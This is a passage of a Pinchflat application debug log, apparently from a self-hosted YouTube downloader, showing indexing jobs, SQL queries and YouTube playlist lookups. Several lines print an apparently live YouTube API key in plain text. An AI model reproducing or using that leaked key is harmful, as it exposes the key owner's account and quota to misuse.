m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:44.407 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:44.407 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:17:44.407 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:44.407 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:44.482 [debug] QUERY OK source="media_items" db=0.6ms idle=74.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 16:17:44.484 [debug] QUERY OK source="media_items" db=2.0ms idle=75.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:17:44.485 [debug] QUERY OK source="tasks" db=0.1ms idle=77.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799953, 2, ~U[2026-02-10 22:17:44Z], ~U[2026-02-10 22:17:44Z]] 16:17:44.486 [info] {"args":{"id":2},"id":3799914,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":79114,"event":"job:stop","queue_time":538392,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:46.408 [info] {"args":{"id":38},"id":3799915,"meta":{},"system_time":1770761866408676306,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:46.409 [debug] QUERY OK source="sources" db=0.1ms idle=530.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:17:46.409 [debug] QUERY OK source="settings" db=0.0ms idle=530.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:46.409 [debug] QUERY OK source="media_profiles" db=0.1ms idle=530.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:46.409 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:46.409 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:17:46.409 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:46.409 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:46.615 [debug] QUERY OK source="media_items" db=0.6ms idle=205.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 16:17:46.617 [debug] QUERY OK source="media_items" db=1.5ms idle=206.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:17:46.618 [debug] QUERY OK source="tasks" db=0.1ms idle=208.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799954, 38, ~U[2026-02-10 22:17:46Z], ~U[2026-02-10 22:17:46Z]] 16:17:46.618 [info] {"args":{"id":38},"id":3799915,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209603,"event":"job:stop","queue_time":309635,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:48.411 [info] {"args":{"id":41},"id":3799916,"meta":{},"system_time":1770761868411764281,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:48.412 [debug] QUERY OK source="sources" db=0.2ms idle=533.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:17:48.412 [debug] QUERY OK source="settings" db=0.1ms idle=533.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:48.412 [debug] QUERY OK source="media_profiles" db=0.0ms idle=533.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:48.412 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:48.412 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:17:48.412 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:48.412 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:48.493 [debug] QUERY OK source="media_items" db=0.6ms idle=80.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 16:17:48.494 [debug] QUERY OK source="media_items" db=0.5ms idle=81.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:17:48.495 [debug] QUERY OK source="tasks" db=0.1ms idle=82.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799955, 41, ~U[2026-02-10 22:17:48Z], ~U[2026-02-10 22:17:48Z]] 16:17:48.495 [info] {"args":{"id":41},"id":3799916,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":83525,"event":"job:stop","queue_time":480472,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:49.413 [info] {"args":{"id":5},"id":3799917,"meta":{},"system_time":1770761869413698454,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:49.414 [debug] QUERY OK source="sources" db=0.1ms idle=918.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:17:49.414 [debug] QUERY OK source="settings" db=0.0ms idle=918.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:49.414 [debug] QUERY OK source="media_profiles" db=0.0ms idle=912.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:49.414 [debug] QUERY OK source="settings" db=0.2ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:49.414 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:17:49.414 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:49.415 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:49.498 [debug] QUERY OK source="media_items" db=0.5ms idle=84.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 16:17:49.501 [debug] QUERY OK source="media_items" db=2.4ms idle=84.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:17:49.503 [debug] QUERY OK source="tasks" db=0.2ms idle=1.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799956, 5, ~U[2026-02-10 22:17:49Z], ~U[2026-02-10 22:17:49Z]] 16:17:49.503 [info] {"args":{"id":5},"id":3799917,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89700,"event":"job:stop","queue_time":530466,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:54.419 [info] {"args":{"id":1},"id":3799918,"meta":{},"system_time":1770761874419688416,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:54.420 [debug] QUERY OK source="sources" db=0.2ms idle=1541.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:17:54.420 [debug] QUERY OK source="settings" db=0.1ms idle=1541.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:54.420 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", 